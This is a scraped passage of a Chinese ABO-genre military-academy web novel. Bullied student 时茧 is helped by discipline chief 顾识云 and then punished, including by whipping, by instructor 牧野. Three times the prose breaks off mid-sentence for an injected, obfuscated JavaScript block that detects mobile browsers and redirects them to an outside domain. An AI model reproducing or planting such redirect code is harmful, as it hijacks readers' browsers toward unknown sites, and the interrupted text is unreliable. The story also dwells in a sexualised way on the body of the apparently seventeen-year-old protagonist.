余宸也不傻,军校某种意义上就是提前进入军队,他不会让自己留下太多污点影响到前途,何况他已经狠狠教训过时茧了,解气目的达到,自然不执着于非要和顾识云较劲。 “这次就先放过你,下次可没那么好运气。”余宸余光扫着时茧,看见他坐在冷水里狼狈的样子心满意足。 走过顾识云身边时,狠狠地撞了下他的肩膀,压着眉毛狠戾道:“至于你……呵呵,想学骑士拯救公主,也要看看自己够不够资格。” 许柏忠实地充当着他的小跟班,一句话也不敢多说,快步跟上。 非常小孩子气的低级挑衅。 顾识云无情无欲地扫了一眼余宸和许柏。 快走到门口时,许柏鬼使神差地回头看了一眼。 那冷意凌人的青年走到时茧身前蹲下,把外套解开披在对方身上,动作小心得简直不像刚刚那个铁面无私的纪察部部长—— 许柏这才惊觉,时茧过分的不像是一个Alpha了,清瘦的、细韧的,像一杆青竹,被那道沉重宽阔的背影轻易而完全的遮挡,只剩下一点蓝色若隐若现。 许柏愣了一秒,心思还没来得及活跃,就被余宸不耐烦的喊回神,跟着一起离开了。 等人都走干净,顾识云才开口:“抱歉,有学生来找我举报的时候我刚睡下,过来耽误了。你没事吧?” 时茧抓着外套的手紧了紧,沉默会儿后,极小幅度地摇摇头。他低着头,打湿的长发紧贴脸颊,薄唇紧紧抿着,身体因为失温细微地发着抖。 顾识云没有问他怎么短短一个小时不到就又把自己弄得这么狼狈,这个等级很低的Alpha每次出现在他面前似乎都总是红着眼睛眼尾,睫毛根部沾着湿润的痕迹,一副让人欺负狠了的小可怜模样。 偏偏不服输,也不服软,咬破的下嘴唇、抠破的手掌心。 那双清透的蓝眼里烈火摧枯拉朽,倔强,自尊,不屈,愤怒,一一燃尽。红与蓝,冰与火,对抗、溶解,割裂、和谐,给予窥探的人以无尽的神秘和史诗感。 顾识云从来没有可怜过谁,但一对上这双燃烧着的像海一样深的眼睛,他就很轻易地心软。 “一会还有批下晚训的学生会过来洗漱——” “别碰我。” 他伸出手想把时茧扶起来,但还未触及,就被对方像躲避什么脏东西一样躲开。 顾识云抬眼看去,浑身湿透了的少年就像只遭受过人类虐待而患上PTSD的猫咪一样,抗拒他的靠近。 尤其长睫敛下的眸底,是不加掩饰的深深的厌恶。 顾识云顿了顿,收回手,退出一个安全的社交距离,声音尽量温和些:“……我的意思是,等会儿可能还有不少人会过来,你如果不想被看到的话,可以去单间清理。” 片刻后,他才等到一句沉闷的、压抑的“嗯”。 时茧不要人扶,抓着那件带着Alpha体温的外套慢慢站起来,一开始没那么顺利,被信息素等级压制摧残过的机体绵软得像一团棉花,双腿上根本没有力气支撑他站立。 他尝试了好几次,摔倒又起,才浑身颤抖着勉强站稳。 湿漉漉的长发紧贴着苍白脸颊,往下滴着水珠,嘴唇上沾着的血迹被冲干净了,褪成霜雪似的白,美得精致而毫无血色,只有那双眼睛还像蓝玻璃珠一样清碎明亮,长而卷曲的睫毛宛如化不开的夜一样黑稠。 他整个人寡淡安静地站在那里,仿佛一只摄人心魄却冷淡至极的海妖。 顾识云瞳孔一扩,呼吸急促了点,这一幕确实够美,也让他彻底理解了其他人为何总说对方不像Alpha。 他的确更像是以美貌著称的Omega,看上去也有种与之相配的摇摇欲坠的脆弱感,能够很轻易地引起旁人的保护欲,但如果就这么庸俗地认为他就应该是Omega的话,又似乎有点肤浅。 顾识云向来理智果决,也正是因此他才能在二年级就坐稳纪察部部长一职,但面对时茧的性别归属,他难得有几分踌躇。因为在他看来,这个人既拥有着远超Omega平均值的美貌,也拥有着不亚于Alpha的倔强心志,甚至他同时也拥有属于Beta的优点,大多数时候都保持着一颗非常清醒聪明的头脑。 他真的很完美,一种超越了性别、乃至人种的完美。完美到顾识云没办法给他分门别类。哪怕现在还非常弱小,总被欺负,却恰到好处的勾出了顾识云的怜惜欲。 顾识云带着时茧去了二楼的单间,这里的条件显然比一楼人挤人的大澡堂好上太多,甚至还有一个供使用者放松舒缓的休息室,摆着套大沙发,小冰箱立在旁边,放一些饮料零食。 时茧看着地上被自己踩出来的湿脚印:“……抱歉,一天里麻烦你两次。” 顾识云:“维护学校的稳定秩序是我分内之事,避免新学员被欺凌自然也算在内。” 时茧笑道:“听起来像我被你罩着一样。” “不是‘像’,是事实。”顾识云从暂存柜里拿出一套第一军校经典黑背心黑裤衩套装,递给时茧,“你的睡衣湿了,穿这个吧,是干净的。” 时茧也没别的选择,接过后转身进了浴室。 一阵窸窸窣窣脱东西的动静过后,响起了哗啦啦的水声,湿热的蒸汽裹挟着小苍兰洗发水的香味从门缝里弥漫,像湿冷清新的晨雾,朦朦胧胧、断断续续地萦绕在顾识云鼻腔。 他坐姿端正,目不旁视,绝不会多看一眼不该看的地方。 墙上的挂钟不多不少转了刚好一圈,浴室的门终于打开,时茧裹着一身水汽走出来。 顾识云不动如山,有限的视野里,只有一双白得晃眼的长腿,膝盖上磕着青青紫紫形状可怖的伤痕,转来转去到处找吹风机。 顾识云一开口,才惊觉自己声音这么沙哑:“……吹风机和药油都在储存柜最下面的一格——你要不要先处理一下磕伤的地方?” 时茧没回答,拖鞋啪嗒啪嗒地踩在大理石上,顾识云如临大敌般规规矩矩坐着,额头微微沁出汗水。 平视。 别乱看。 他不断告诫自己。 下一秒,顾识云的眼前忽然出现一片雪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035794|162420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白的胸膛,他立刻移开视线,但猝不及防间还是暼到了那点圆润的粉色。 ……离得有点太近了吧。 顾识云漫无目的地想。 他感受到空气被抽走,取而代之的是对方皮肤里传出的热气,眼睛逃不开那整片羊脂玉一样温润的莹白。 一管冰凉的膏药扔到他怀里:“你等会儿帮我擦一下。” 顾识云动作僵硬地接住,屏气凝神,不敢多说。 披散在少年肩膀上的长发丝滑地垂下来,有几缕打在顾识云的脸颊,带着湿润冰冷的水痕。 小苍兰的香气从这几道水渍里扩散开,不由分说地强势地钻进Alpha的鼻腔,让他头晕眼花。 时茧弯下腰,不属于他的尺寸而过分宽松的黑背心直往下掉,里面风光一览无余。他单膝跪在顾识云腿边,双手撑着墙壁,正在插吹风机插头,毫无打破安全社交距离的自觉。 要说应该感觉到什么奇怪,也只剩下距离这么近,他却闻不到顾识云哪怕一丁半点的信息素。 怪异感浮上心头,时茧忽然回想白天时两人的相处,无论是顾识云,还是他自己,他们的信息素都安分得可怕,不像一见面就要斗得头破血流的Alpha,倒像是两个Beta一样相安无事。 “你是什么等级?” 上方突然响起少年清脆的声音,顾识云一怔,在时茧耐心的问完第二遍后,终于回过神,如实答道:“S级。” 时茧原以为对方和自己一样都是低等级Alpha,信息素才不互相排斥。 所以,原来是因为顶级基因,才能够将信息素控制得收放自如吗? 顾识云注意到时茧骤然垂下的眼睫,他好像说错话了,补救道:“没关系,因为我其实……” 时茧:“至少你刚刚没推开我。” 有人推开过你吗。 顾识云静静地看着他。 沉默会儿后,顾识云说:“你坐着吧,我帮你吹头发。” 时茧乖宝宝般坐好,心安理得的接受S级Alpha的同学爱。 他盘着腿坐在沙发上,大了好几码的黑短裤滑到腿根,露出雪白匀称的大腿肉,靠内的两侧更丰盈一些,压在微粉圆润的脚后跟,挤出一点软软的肉。 顾识云非常好奇,腰肢瘦得一只手就能把住的人,怎么臀部和大腿倒是肉挺多的,还蛮会长。 他拿起吹风机,时茧有点不放心地叮嘱道:“你小心一点,不要吹断了。” “好。” 时茧预想中会被频频扯痛头皮的场面没出现,顾识云小心极了,把他的头发分成两半,先拿其中一半的几缕放在手心里抖散着吹,感觉到微干后才放下拿起另外几缕。 吹了会儿中间,又把吹风机对准上面,手指插进发根,长着薄茧的指腹轻缓地划过头皮,带来一道道难以言喻但灭顶颤栗的过电般的舒爽,时茧舒服得忍不住闭上眼,浑身都细微地发着抖。 这种轻缓的微痒像是用羽毛挠着心尖,想抓却又不得章法,时茧克制不住地把脑袋往顾识云手掌里送,下巴微微抬起,只差没发出猫咪舒服时咕噜咕噜的叫声。 顾识云咬着舌尖,直至尝到血腥味,在爆发边缘的可爱侵略症才控制住没发作,没有一口朝着时茧咬上去。 11. 第 11 章 吹风机的噪音贯穿顾识云耳膜,远比无声更沉默。他不是一个善于言辞会挑起话头的人,但这种原本不熟的两个人私下亲密独处的环境里,有什么东西迫使他主动破冰。 于是顾识云生平头一次夸人:“你的头发真长。” 好像有点不对。 他想了想又说:“你的眼睛真蓝。” 时茧有点无语:“你也太直A了。” 顾识云矜持的:“谢谢。” “……我没有在夸你。” “哦……” 时茧忽然转过身,顾识云关掉了吹风机,正要问,对方用那双澄澈的眼睛憧憬地看着他,声音柔软清澈:“今天多亏了学长,他们一看到你是纪察部的就立刻落荒而逃了。你才二年级就当上了部长,平时各项考核成绩肯定都名列前茅,那些教官说不定还没你厉害,不然老师们怎么放心把这么重要的职位交给你。” 顾识云不明白,他明明没喝酒,怎么醉醺醺的,像一头栽进棉花里,有种灵魂出窍的轻快。 “不用谢……只是分内之事。” 时茧噗嗤笑出声,崇拜的眼神神奇地消失不见,转而浮现出一种捉弄人成功的狡黠和愉悦。 他伸指轻轻点了下Alpha胸口别着的铭牌:“部长大人,我是在教你该怎么正确夸人。别这么紧绷着,好像我是什么洪水猛兽一样,还是说纪察部都是你这样一本正经的冰块?” 顾识云上扬了几个像素点的嘴角又飞快压下去。 时茧安慰般拍拍他肩膀,暂时放过这个可怜又绝望的直A,把吹得半干的头发往后面一撩,露出光洁白皙的额头,一张完美无瑕的神女一样的脸就这么突兀出现。 顾识云没防备,心脏陡的沉下,跌进一个可怕的深渊里。 他意识到自己可能做出了一个错误的决定,他或许不应该对眼前的少年生出恻隐之心,肉眼可见的,他会摊上一个大麻烦。 时茧把腿伸直,裤腿往上卷了卷:“帮我上药吧。” 顾识云看着他的脸,好一会儿,才低头把药油挤在手里搓热:“你的教官说得不错,你是挺娇生惯养的。” 不然不会这么熟练,理所当然地使唤人。 时茧没听出他的言外之意,略微挑眉,眼眸里浮现一点张扬的笑意:“我本来就吃不了苦,也没必要。来第一军校只不过是暂时的,要不了多久,等我爸爸他们想通了,接受我是E级Alpha的事实,我就会转学到其他正常学校,学我真正喜欢的专业。” 他打心底认为自己在第一军校待不长久,对这种地方更没有同普通Alpha一样的归属感,背得下所有校规却全然不在乎,甚至乐于挑战这些刻板教条,希望他们早日容忍不了自己做出开除这种无比明智的决定。 顾识云有好多个问题:“时藏锋上将为什么非要把你送进军校?你的确不适合这里。” 那双眼睛被睫毛盖住:“……不知道。也不重要了。” “那你本来是想学习什么专业?” “昆虫学,植物学,绘画,音乐……一切Omega应该有的优秀技能和美好品德,都是我从小到大的功课。教导我的老师说,如果某个Alpha需要一位完美的Omega新娘,没有人比我更合适。”时茧平静道,“总之,无论做什么,都比现在的处境更好。” 顾识云“哦”了声:“所以如果你的二次分化结果没有出意外,我应该是在第一军校和那些‘新娘学院’联合举办的毕业礼上,以毕业生和求偶期Alpha的身份遇见你。” 每年六月底的夏至是繁衍季拉开帷幕的标志,这场渴求爱欲和生命的大狂欢会贯穿萤火虫群从躁动到蛰伏的整个炎热暑夏,一直持续到秋凉的九月初才渐渐平息。 从军校毕业年轻气盛的Alpha们,在正式投身到保卫联邦的战役之前,会得到联邦为他们准备的此生唯一的一份礼物。这群像渴望军功一样渴望爱情的小伙子们,在军校和Omega学校联合举办的毕业礼上,可以尽情地表现自己,努力争取Omega的青睐,获取与他们约会的机会。 Omega们通常着白色西服出席,Alpha着校服,都会在胸口的口袋里放上与自己信息素同源的花卉,一般称之为“戒指”,看上谁,就会把“戒指”放入那个人的口袋。要是互相交换,就能够进行一场浪漫的约会。如果在约会结束后有深入发展的意向,Omega们通常会给自己的约会对象一个唇贴唇的亲吻,这是允许Alpha和自己继续深入交往的信号。很多Alpha和Omega都会在这场毕业礼上找到自己的命定之人,携手走入婚姻的殿堂。 “那你需要做到年级第一才行了。”时茧后仰,双手撑在沙发上,抬着下巴看他,半眯起的眼睛里透着懒怠和趣意:“任何一个‘新娘学院’里S级的Omega,都只会接受每个军校年级第一的毕业生提出的约会——也有的会同时接受多个。你也知道,S级Omega是唯一不必遵守联邦一夫一妻制度的,那些基因主义者对此可是乐见其成,巴不得S级的Omega多孕育一些高等级的后代呢。” “过激的基因主义者确实是扰乱社会治安的不稳定因素,希望你以前没有被他们过度骚扰过。” “你指那些我从小到大收到过的无数封淫.秽邮件、偷拍照片?绑架案也策划过几起。时至今日,我依旧不能理解他们对高等级的极度崇拜从何而来。” 时茧声音平稳,只是在叙述:“但我的养兄温隅安——你应该也知道——第一军校优等毕业生,陆空作战指挥系28届专业第一,S级Alpha。我和他待在一起的时间比我和自己亲哥哥待在一起的时间还长,没有雇佣兵可以在他眼皮子底下作乱。” 顾识云眼神一暗:“有所耳闻。不过比起成绩上的光环,他在毕业礼上的表现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035795|162420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更加为人津津乐道。” 时茧往前倾,这是对这个话题感兴趣的表现:“他干了什么?是不是追Omega失败闹笑话?” “不。他收到了不少Omega的‘戒指’,但并没有给出自己的,而且在毕业礼进行到一半的时候就离场了。听一些留校任教的老师说,他当时给出的理由是必须要去接高中生弟弟放学。”顾识云说着,视线落在时茧脸上。 时茧愣了一下,然后想起来,好像是有这么一件事,他被温隅安邀请去他的毕业礼,然后得到了一朵香气幽微的兰花。他做成了标本,放进了那本手账里。 原本还算放松的气氛悄然改变,顾识云敏锐地注意到时茧的情绪似乎有了些许微妙的、难以言喻的变化,像下雨天缓慢缩回壳里的蜗牛,蜷起触角,在潮湿的花坛缓慢爬行,留下一条黏腻、阴郁的痕迹。 顾识云深深地呼吸了几次,站起身,主动结束了今晚的交谈:“宿管马上就要查寝了,我先送你回去吧。” 时茧低低地嗯了一声,亦步亦趋跟在顾识云身后,偶尔抬起的眼睛里没有焦距,失神而毫无意义的向浓重粘稠的黑夜投去视线,像小行星逃离不开黑洞的引力那样被吞没。 顾识云把时茧送到宿舍楼下,确认他进去后,才转身离开。 经历了糟糕的一天,时茧早已精疲力尽,靠在寝室门上怔怔许久。他没有精力再进行任何思考,放空地盯着黑暗,连手电筒灯光照到他脸上都没任何反应。 宿管是个Beta大叔,手电对着时茧晃了晃,催促他快进去睡觉。 时茧没回答他,安静地推开寝室门,没有开灯,入目所及皆是墨水一般的黑。两个室友早已睡下,惊雷一样打着呼噜,他却像没听见般,摸黑走到床位边,把自己摔在坚硬的床板上,没一会儿就昏昏沉沉地睡过去。 半夜,时茧被冷醒,头晕鼻塞提不起劲,浑身上下没有哪块骨头是不痛的。 时茧有点茫然地坐起来,整具身体的重量都压在床尾柱上,出神地盯着地板。看了一会儿后,不知道为什么,鼻子忽然就酸了,也终于从那种失神落魄的状态中抽身。 他想到了温隅安。 毕业礼都可以翘掉,只是为了按时接他放学回家的温隅安;和出发前恶言相向,送自己来军校报道都没耐心的温隅安。 居然是同一个人。 好奇怪。好奇怪。 ……好奇怪。 时茧楞楞地摸着后颈那块已经不太明显的腺体,有点分不清家人喜欢的到底是S级Omega这个荣誉,还是一个叫时茧的人。 他在黑暗里重重地眨了下眼睛,感觉到睫毛根好像有点湿润。他摸出手机,想给谁打个电话,但通讯录从头翻到尾,从雷雨,温隅安,时序,再到时藏锋,又从尾翻到头,直到手机屏幕上荧白色的光晕从刺眼到逐渐熄灭,这通电话最终也还是没有打给任何一个人。 12. 第 12 章 早晨六点,集合哨响。 付岩和隋边洗漱完毕在整理校服,三个人的宿舍里唯有一人毫无动静。付岩看了眼仍在熟睡中的时茧,忙过去摇醒他:“快起床,集合哨只响三遍,三遍之后五分钟内必须到操场。今天是开学礼,所有年纪的学生尤其是新生都要到场,校领导、议会代表和军区领导都是要来讲话的!” “这已经是哨响第二遍了!!” 时茧只觉得耳朵边围绕着一只嗡嗡扰民的蜜蜂,他挥挥手,把抓着自己肩膀摇晃的东西甩开,抱着被子轻巧的地翻了个身,拉扯间宽松的黑背心歪歪扭扭掉到一边,露出大半雪白细腻的背部。 “……!” 付岩忙丢开手,看得面红耳赤。等他回过神,再想伸手摇人,看一眼刚刚被自己捏出红痕的皮肤,又看一眼少年随着呼吸而缓慢起伏的蝴蝶骨,顿时进退两难。 隋边十分看不惯时茧这种少爷做派,鼻子重重地呼出口气,把付岩拽起来:“他是来享福的,哪怕迟到也没多大事,跟我们可不一样。你别管他了,别到时候反而受他连累。” 付岩犹豫地看着时茧,隋边摇摇头,把他拽出宿舍。 “诶——时茧——”付岩徒劳地伸着手,被人群裹挟着冲下楼,好不容易挤了出来,望着乌泱泱的人群,彻底爱莫能助,只能在心里祈祷时茧能够及时赶上。 时茧朦胧中听到了争先恐后的脚踏声,还有人在叫他的名字,但他的眼皮铅铁一样沉,怎么也睁不开。 很快,楼道彻底安静下来,弥漫着一种令人不安的恐慌。 迷迷糊糊间,一道结实而急促的脚步声由远及近,这声音消失后的下一秒,像重物砸地的声音紧贴着时茧耳边响起,他的床也跟着晃了晃。 地震?! 时茧翛然睁开眼睛,入目是雪白的天花板,紧跟着视线旋转,被来人拎起。 他甩了甩头,牧野那张五官深刻硬朗的脸突兀出现在眼前,冷笑两声:“所有新生都在操场开动员会,偏偏你就要搞特殊迟到。是军校的床比较好睡?还是你这种娇生惯养的大少爷、大小姐,真狂到没边了,连军校的规矩也不当回事?” 时茧很快清醒:“报告教官,新生报道一整天我都在禁闭室,不知道今天有动员会。” 牧野怒极反笑,不住点头:“好,很好,举一反三你倒是上手得很快,以为这么说我就拿你没办法了?” 他把时茧往床上一丢,眼神狠戾冰冷:“我只给你五分钟,立刻给我滚起来,用最快的速度整理着装和内务。既然你不知道有开学礼,那你就给我去操场站军姿两个小时,再跑五公里!我倒要看看你究竟能不能知道动员会!” 临走前又狠狠地踹了床铺一脚,指着时茧,眼睛里透着深深的反感:“有你这种靠着父辈荫蔽在军校里作威作福的少爷兵,联邦的未来我一眼看得到头!你们这种败类越多,联邦完蛋得就越快!” 他一拳锤在门上,门框震了震,骂骂咧咧地走出宿舍。 时茧揉着手肘慢慢坐起来,至今仍有些状况外。 他不能理解牧野的愤怒。 既然这么讨厌自己,直接上报到教务处,把他除名,不就皆大欢喜了吗?时茧发现这群人有一种强制的癖好,非得把一个不适合军校的人留在军校,然后再对着这个人说,“你知道有多少人羡慕你有这个机会吗!” 没让牧野失望,过去三个五分钟后,那一身矫情毛病的少爷才慢慢悠悠像散步一样溜达到操场,引得不少端坐在小马扎上的新生频频转头,继而传出密密麻麻的讨论声。 牧野顺着他们视线看过去,脸色黑得像墨水。这走到哪就张扬到哪的小少爷,是真会给他添麻烦。 时茧大步流星地从入口走过来,身上是联邦第一军校为学生定制的白色礼服,专用于各类重大场合。 量身定制的礼服版型裁剪挺括,布料高级硬朗,恰到好处地衬托出时茧高傲清贵的气质,向内收束的黑色腰封显得那截腰肢更加细韧,往下延伸出流畅性感的腿部线条,将他少年人轻盈纤薄的身材优势勾勒得淋漓尽致,举手投足间自带一种时尚杂志封面的滤镜。 但最让在场近一万个新生Alpha低声议论的,却是时茧过分突出的相貌。那张脸漂亮而锐利,是一笔画在白纸上的浓墨重彩;清透的蓝眸里带着一种少染世事的干净,所以他只是锋利而非锋芒毕露,是一把还没开刃见血的军刀。 新生方队中忽然有教官大声呵斥,他带的班里有个Alpha不受控制地爆发了信息素,瞬间引起了小范围内的骚乱,而这样的骚乱放眼整个操场比比皆是,在极致的美色.诱惑下,即使清楚地知道对方不是Omega,但很多定力不足的Alpha依旧被自己的眼睛欺骗,像公狗撒尿标记一样控制不住地散发出信息素。 牧野脸色阴沉得能拧出水,低声骂了几句,快步走到时茧跟前,在他信息素跟着爆发之前把他带离操场,满脸都是咬牙切齿的狰狞:“……你他妈故意的是吧,就乐意勾那些Alpha,一没看住就搞事,真能给老子找麻烦。就你这种残疾等级,真他妈把那群狗崽子弄得集体发情了你有几条命够受。” 时茧被他抓着手腕掼到墙上,忽略被撞那一下的钝痛,眼皮懒洋洋地抬起:“报告教官,我在完全服从你的命令。” 被他用这种少年人特有的清脆里带着一丝磁性的嗓音喊教官,牧野只觉得自己要折寿:“别以为我不知道你心里在想些什么,以为这样就能躲过处罚?我就算不让你搁操场上站军姿跑步,也有的是办法挫你的锐气。” “报告教官,你可以把我关进禁闭室。” 他看着时茧这漫不经心的样子就一股无名火,才入学第一天,就成了个兵油子?! 牧野咬着后槽牙说:“你倒是想得美——来,教你做最简单的队列训练。蹲下!” 时茧暼他一眼,面对这个奇怪的要求,像朵一看就有毒的蓝色蘑菇,靠着墙根蹲下了。 牧野顺手捋了根树枝当教鞭,“啪”的破空一声,抽到时茧小腿上。他下意识皱紧了眉心。 “我让你靠着墙了?过来!右脚后退半步,前脚掌着地——谁让你膝盖着地了?” 又是一鞭抽在时茧还带着伤的膝盖上,旧伤的疼痛让他习惯性地握了下手心,但下一秒,一条细长红痕就出现在雪白细腻的手背上,呈现出一种破坏的美感。 “……” 时茧的目光落在那条红痕上,感觉到被当众折辱的羞耻感。他因为蹲姿而紧绷的身体,在恍惚间让他误 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035796|162420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以为自己正跪在牧野面前。 “手放膝盖上!背打直!没我的命令不允许起来!” 牧野嘴里叼着教条上捋下来的叶子,双手抱臂,居高临下地看着时茧,整个人显得痞气,比起教官,倒不如说像个合法流氓。 时茧保持着这种容易却难以坚持的动作,听到一墙之隔后操场扩音器传过来的学生代表的演讲,在零碎的片段中勾画出对方的画像。 那多半大概是一个成绩优异的平民学生,一点也不怯场,落落大方的分享着他这十年来为考上第一军校所付出的努力和如今激动的心情,以及最重要的,年轻军校生对报效联邦、建功立业的野望。 为什么他知道这是个平民学生—— “我向银河联邦和诺曼皇室发誓,将会像珍惜自己的生命一样珍惜着在联邦第一军校求学的机会,会在接下来军校的无数个日日夜夜里,付出百分百的汗水,交出一次比一次完美的答卷!” 操场上掌声雷动,上万个Alpha激动的情绪像地震一样,隔着一堵墙也无比清楚地传达到时茧脑袋里。 牧野暼他一眼:“听到了?我说你就不能学学人家?就你这家庭背景,哪怕你就只是踏踏实实给我混完这四年,你的起点就是这个学生拿命换都换不来的终点。我告诉你他的名字,沈行川,A+级Alpha,联考成绩688分,以第七军区第一名考进来的真真正正的天之骄子,但如果不是在第一军校,他这辈子连知道你真实名字的机会都不可能有。小少爷,你这辈子吃过最大的苦就是现在我折腾你这几下,整个联邦上百亿人,比你幸福的数不出十个。” “安分点吧小少爷,你该庆幸你是出生在这样的家庭里分化成E级Alpha。不然像你刚才那样……哼。” 牧野的声音有点遥远,仿佛穿越了几亿个光年才被时茧听见,这让他心脏有一点沉闷的难受。 并不剧烈,绵里藏针一样,却长久而持续。 新生代表的演讲结束后,早晨的第一缕阳光也在这时候悄然爬上地平线,像一簇有生命力的小火苗,勾上了时茧的指尖,吻过手背那道红痕后慢慢往上爬。随着时间的推移,这原本温和的火苗也逐渐燃烧成火球,炙烤着毫无荫蔽、完全暴露在阳光下的少年。 蹲姿在军队的队列练习中看似最轻松,但前提是,时茧已经被迫维持着这样僵硬的姿势半个小时。 他浑身的血液都懒怠流动了,肌肉里仿佛有老式电视机的黑白花点在蹦开,蚁噬般细密不断的疼痛自骨髓里蔓延开,逐渐席卷全身。 但这些不适加在一起都比不过膝盖处的伤痛,那里在昨晚就已经磕破过无数次,顾识云的药油本来缓解了不少,但在牧野要求的连续半小时的标准蹲下动作里,这本就有伤的地方承担了身体的全部重量,像老旧生锈的螺丝一样,在濒临报废的边缘摇摇欲坠。 时茧的脚边积了一摊汗水,看得见的手背上,和看不见的被包裹在校服的皮肤上,分布着被教条鞭笞出的丝带一样细长的红痕,隐秘而长久地分泌着微弱的痛痒。 伤痕交织在一起,仿佛玫瑰色的蝴蝶结,和白如新雪的皮肤对比,漂亮得就像他那天生上扬又缀着红的眼尾,眨动间带着湿漉漉的潮气,让人一头扑进潮湿而香黏的水雾里。 13. 第 13 章 时茧忍耐着四肢麻痹的疼痛,习惯性地咬紧下唇,缺血的青白色从他齿痕周围向外散开,本来薄薄的唇瓣都被他自己咬得丰满了一点,泛着水光微嘟起来,像一片雍容的绸面的玫瑰花瓣。 浅色长睫抬起,上翻着眼睛,刻骨而直白地盯着牧野,是一种幼鹰对猎物静待时机的审视。 “我特别帅,你看入迷了?” “……” 牧野呸掉嘴里的叶子,换了个更帅的姿势,单手撑在墙上,左脚斜靠在右脚,一股吊儿郎当的气质:“行了行了,我知道你当Omega比较久,会看上我这种优质Alpha也很正常。但出于职业素养,作为教官,我可得提醒你一句,联邦不允许搞AA恋,你趁早把自己那歪了十七年的择偶观改改,别到时候因为搞AA恋被你爸的政敌举报给送进去。” 时茧瞬间有种全身都被牧野舔过一遍的恶心感。 牧野啧了声,无聊地转着手里的鞭条:“你说你现在这样不挺乖的吗?真希望以后我的课上你也能乖乖听话,少给我整出些幺蛾子。尤其是和余宸。我知道你们的来头一个比一个大,谁也不服谁,但至少在我这儿,别闹得太过分吧?” 时茧冷冷道:“拉偏架?” “哪个Alpha被当众打了两巴掌能咽得下那口气?再说你那一口下去也不是好受的。”牧野挑挑眉,视线在时茧的脖颈上转了一圈,早上他去把人拎起床时,那块儿还青青紫紫的,现在被校服立领一遮,倒是什么也看不见了。 “昨晚的来龙去脉,顾识云的报告里写得很清楚,虽然余上将那里不好办,但我对他的处罚建议没有意见。”牧野正经了些。 “听纪察部的人说,余宸还没来得及去校医室就被顾识云逮到思过楼了,还是当值老师拿急救箱随便消了消毒,现在伤口还淌着血呢,比你惨多了——没看一年级生的代表是沈行川吗,要不是那大爷搁禁闭室里出不来,新生代表发言这种事能轮得到一个平民学生?” 牧野说完嗤笑两声,时茧说不上来他想讽刺哪一方,但说到底他也并不关心——如果牧野告诉他,余宸被咬那一口得狂犬病死了,他可能还会多给几个眼神。 时茧情绪称得上稀薄,能挑起他厌恶或者喜欢的东西都不算多,他不想把心思花在除了家人以外的事上。 牧野的视线却一直落在时茧身上,语气戏谑:“我忽然发现你这细皮嫩肉娇生惯养的小少爷下手还挺狠的,真冲着咬断那家伙脖子去的啊?真行,这方面倒是像点样子。” 时茧平静道:“我只知道我爸爸从小教我被欺负了就要还手,出什么事他兜着。” 牧野就爱犯贱逗他,跟逗小猫玩似的:“你爸要哪天兜不住你了呢?” 时茧斩钉截铁:“不可能。” “……行吧,对爸爸盲目崇拜又患有分离焦虑症的小海马宝宝。” 时茧闭上眼,默念眼不见心不烦。 下一秒,一道熟悉的声音却让他又错愕地睁开。 “中心区上午九点整,二年级学生代表顾识云代同窗及纪察部,向联邦第一军校全体师生和到访诸位问好,联邦万岁。” 隔着一道大理石墙进入时茧的耳朵里,数九寒天一样冰冷,没有任何情绪起伏,像AI合成。 相比之下,沈行川略有紧张的声线才更像是得知要作为学生代表发言的正常表现。时茧不止一次觉得顾识云与其说是人类,倒不如说是个内置了情绪安装包的智能机器人。 牧野捕捉到时茧眼神里残留的惊讶,讽刺中又隐隐有几分忌惮:“看不出来嘛,才来几天啊,课都没正式上,正经同学还没认识几个,就先和纪察部的部长玩熟了?” 时茧淡淡地嘲讽回去:“教官的职责范围还管学员私下交友?” “哈?我管你?我巴不得离你远点好多活几年,要不是……”牧野嘟囔着抱怨了几句,时茧没听清,说到后面又提高了音量,冷笑道:“顾识云是吧?总之这家伙没你表面看上去那么无害,还想在军校好好待这几年的话,就少去招惹他。” “为什么?” 牧野不耐烦道:“哪来那么多为什么,让你离他远点,老老实实听话不就得了?你在家里也天天当好奇宝宝,问你爸这啊那的?” 时茧权当这堆话是耳旁风。 直到顾识云演讲完毕,台下响起热烈掌声,牧野才大发慈悲般一扬下巴:“起来吧,下午还有军事理论课,别现在就趴下了,到时候只能爬到教室去。” 时茧顿时松了口气,紧绷的肌肉放松,脑子里一股眩晕感。 他保持着单腿下蹲的姿势太久,血管不通,从四肢到脖子以下的躯干部分全麻了,一下子起不来,慢慢地挪动脚尖放平,缓了好一会儿,才能撑着墙壁勉强站起来。 牧野有些嫌弃地扫他一眼:“细胳膊细腿的,蹲个四十几分钟就虚成这样,要是靠你这样的上战场打异种,还不如把你送去和亲得了。” 